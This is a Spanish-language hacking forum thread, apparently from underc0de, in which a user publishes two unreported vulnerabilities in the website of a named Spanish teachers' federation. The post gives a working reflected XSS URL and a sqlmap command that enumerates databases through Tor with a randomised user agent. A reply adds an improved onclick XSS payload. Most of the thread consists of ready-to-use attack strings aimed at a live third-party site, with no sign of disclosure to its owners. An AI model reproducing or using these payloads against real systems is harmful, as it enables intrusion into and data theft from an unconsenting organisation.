Hola !!!Bienvenido a mi post RREEDD
Sitio :http://www.fepal.netDescripción del sitio: Federación Española de Asociación de Profesores de Audición y Lenguaje.Lista de Vulnerabilidades.
- [XSS] Inyección en URL .
(http://fotos.subefotos.com/7af18ac8432c9ff58946d7926b8f7c33o.png)
Url del sitio :http://www.fepal.net/noticias.php?id=1
Vector : <h1>underc0de</h1>
xploit : http://www.fepal.net/noticias.php?id=<h1>underc0de</h1>&pg=1
Reportado: NO
Autor: RREEDD
- [SQLi] Inyección en URL.
(http://fotos.subefotos.com/78047e837390489c01084418e7fc3b87o.png)
Url del sitio :http://www.fepal.net/noticias.php?id=1
Inyeccion : sqlmap.py -u "www.fepal.net/noticias.php?id=1&pg=1" -p "id" --tor --tor-type=SOCKS5 --check-tor --random-agent --dbs --time-sec 15
Herramienta : SQLMAP
Reportado: NO
Autor: RREEDD
Saludos desde Chile
@rreedd (https://underc0de.org/foro/index.php?action=profile;u=51615) no se puede tomar como payload unos resultados de sqlmap por consola, tienes que poner la inyección entera por GET.
Saludos, EPSILON.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
@rreedd (https://underc0de.org/foro/index.php?action=profile;u=51615) no se puede tomar como payload unos resultados de sqlmap por consola, tienes que poner la inyección entera por GET.
Saludos, EPSILON.
Además de eso, cuando buscas una XSS tienes que buscar ejecutar código javascript, en muchas ocasiones te permite poner una etiqueta html, pero no se puede llegar a ejecutar un código javascript.
Éste Payload estaría mejor: "http://www.fepal.net/noticias.php?id=%3Ch1%20onclick=alert%280%29%3Eunderc0de%3C/h1%3E&pg=1"
RREEDD
Hola!!
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
@rreedd (https://underc0de.org/foro/index.php?action=profile;u=51615) no se puede tomar como payload unos resultados de sqlmap por consola, tienes que poner la inyección entera por GET.
Saludos, EPSILON.
Gracias por la aclaración, porque mi intención al poner el payload de sqlmap era demostrar que era vulnerable, así que lo tendre en mente para la próxima.Muchas gracias a todos por comentar.
Saludos desde Chile.